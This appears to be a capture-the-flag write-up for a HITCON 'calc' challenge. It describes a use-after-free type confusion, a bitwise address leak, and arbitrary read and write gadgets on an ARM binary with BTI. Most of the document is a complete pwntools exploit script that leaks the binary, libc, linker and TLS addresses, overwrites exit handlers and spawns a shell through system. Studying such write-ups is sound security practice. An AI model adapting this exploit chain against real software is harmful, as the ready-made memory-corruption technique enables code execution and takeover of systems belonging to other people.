Trivial UAF type confusion between Calculator
and Numbers
array. First step is to get a heap leak. This is done by creating Numbers
array that overlaps with Calculator
,
then adding -0xaaa9. This specific number preserves the value of the Calculator->ops
pointer while also moving the sum of the Numbers
array into Calculator->n
.
Since the upper 32 bits of the binary base are fixed (0xaaaa), the only value that changes is the lower 32 bit of the binary base. Calculator->n
is set to
-0xaaa9 - 0xaaaa + 0xaaa9 + 1 - (binary_base & 0xffffffff)
.
The value of Calculator->n
can be leaked bit by bit through the modulus gadget, which will update Calculator->status
based on the highest bit of n.
Once a heap leak is obtained one is able to:
SPEND 8 HOURS MANUALLY COMBING THROUGH POSSIBLE GADGETS ONLY TO REALIZE THAT BTI IS ENABLED AND 90% OF THE GADGETS ARE USELESS!!!! HOORAY!!!!
THEN REALIZE THAT THERE EXIST TRIVAL ARBITRARY READ AND ARBITRARY WRITE GADGETS!!!!
1 2 3
0003ca70 void sub_3ca70(void* arg1)
0003ca70 SystemHintOp_BTI()
0003ca88 **(arg1 + 8) = *(arg1 + 0x10)
1 2 3 4
__int64 __fastcall sub_3CA94(__int64 a1)
{
return **(unsigned int **)(a1 + 8);
}
Using the binary base leak and arbitrary read gadget the libc base can be obtained. After that overwriting exit functions is the simplest path to rce, since there doesn't exist any pointer mangling.
malloc
/free
/realloc
hooks do exist, but since the write gadget is limited to a single 32 bit write at a time the exploit would crash itself in the middle of writing the full hook pointer.
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210
from pwn import *
import builtins
mask = 0xffffffff
buffering = False
backup = b""
def buffer():
global buffering
buffering = True
def flush(after: bytes):
global buffering, backup
buffering = False
p.sendafter(after, backup)
backup = b""
def send(after: bytes, val, line=False):
global backup
match type(val):
case builtins.int | builtins.str:
val = f"{val}".encode()
case builtins.bytes:
pass
if line: val += b"\n"
if buffering:
backup += val
else:
p.sendafter(after, val)
def sendline(after: bytes, val):
send(after, val, line=True)
if args.REMOTE:
p = remote("calc.chal.hitconctf.com", "31337")
else:
p = remote("localhost", 31337)
context.terminal = ["kitty"]
script = """
codebase
set $arr=(long *)($codebase+0x4b3c8)
set $calc=(long *)($codebase+0x4b3d0)
c
"""
gdb.attach(("localhost", 1234), exe="./calc", gdbscript=script, sysroot="../../")
def narr(vals: list[int]):
sendline(b":", 1)
for i in range(6):
sendline(b":", vals[i])
def narrb(vals: list[int]):
payload = b"\n".join([f"{n}".encode() for n in vals])
p.sendlineafter(b":", b"1\n" + payload)
for _ in range(6):
p.recvuntil(b":")
def darr():
sendline(b":", 2)
def ncal(n: int):
sendline(b":", 3)
sendline(b":", n)
def dcal():
sendline(b":", 4)
def calc(op: int):
sendline(b":", 5)
sendline(b":", op)
if buffering:
return 0
else:
p.recvuntil(b"Status: ")
return int(p.recvline())
def dwords(ns: list[int]):
ret = []
for n in ns:
ret.append(n & mask)
ret.append((n >> 32) & mask)
return ret
buffer()
leaks = []
for i in range(32):
narr([0] * 6)
darr()
ncal(-0xaaa9 & mask)
calc(4)
for _ in range(2):
narr([1 << 16] + [0] * 5)
calc(5)
darr()
narr([1 << i] + [0] * 5)
calc(5)
leak = calc(2)
# print(leak)
# leaks.append(leak)
dcal()
darr()
flush(b":")
for i in range(32):
for _ in range(5):
p.recvuntil(b"Status: ", timeout=5)
leaks.append(int(p.recvline()))
leak = int("".join(map(str, leaks)), 2)
log.info(f"{leak = :#x}")
"""
leak = fixup - (upper + UNKNOWN + fixup + other)
leak = fixup - upper - UNKNOWN - fixup - other
UNKNOWN = fixup - upper - fixup - other - leak
"""
upper = 0xaaaa
fixup = -0xaaa9 & mask
other = 0xffffffff
leak = fixup - upper - fixup - leak - other & mask
filebase = (upper << 32) | (leak - 0x77c4)
log.info(f"{filebase = :#x}")
def arbread(addr: int):
buffer()
"""
0xa168 + 0xc -> 0x3ca94
"""
reader = filebase + 0xa168
ncal(0)
dcal()
narr(dwords([reader, addr, 0]))
lo = calc(2) & mask
darr()
ncal(0)
dcal()
narr(dwords([reader, addr + 4, 0]))
hi = calc(2) & mask
darr()
flush(b":")
p.recvuntil(b"Status: ")
lo = int(p.recvline()) & mask
p.recvuntil(b"Status: ")
hi = int(p.recvline()) & mask
for _ in range(1):
p.recvuntil(b":")
return lo | (hi << 32)
def arbwrite(addr: int, val: int):
buffer()
"""
0xa168 + 0x8 -> 0x3ca70
"""
writer = filebase + 0xa168
ncal(0)
dcal()
narr(dwords([writer, addr, val & mask]))
calc(1)
darr()
ncal(0)
dcal()
narr(dwords([writer, addr + 4, (val >> 32) & mask]))
calc(1)
darr()
flush(b":")
for _ in range(2):
p.recvuntil(b"Status: ")
for _ in range(1):
p.recvuntil(b":")
leak = arbread(filebase + 0x47238)
log.info(f"{leak = :#x}")
libcbase = leak - 0x83a94
log.info(f"{libcbase = :#x}")
libc = ELF("./libc.so", checksec=False)
libc.address = libcbase
leak = arbread(libcbase + 0xdacd0)
log.info(f"{leak = :#x}")
linkbase = leak - 0xd1640
log.info(f"{linkbase = :#x}")
leak = arbread(linkbase + 0x189020)
log.info(f"{leak = :#x}")
tls = leak - 0x50
log.info(f"{tls = :#x}")
thread = arbread(tls + 8)
log.info(f"{thread = :#x}")
target = filebase + 0x4b430
shell = libcbase + 0x1f12f
arbwrite(target, libc.sym.system)
arbwrite(target + 8, shell)
arbwrite(thread + 0xe8, target)
p.interactive()
# 0x0000000024ae9d93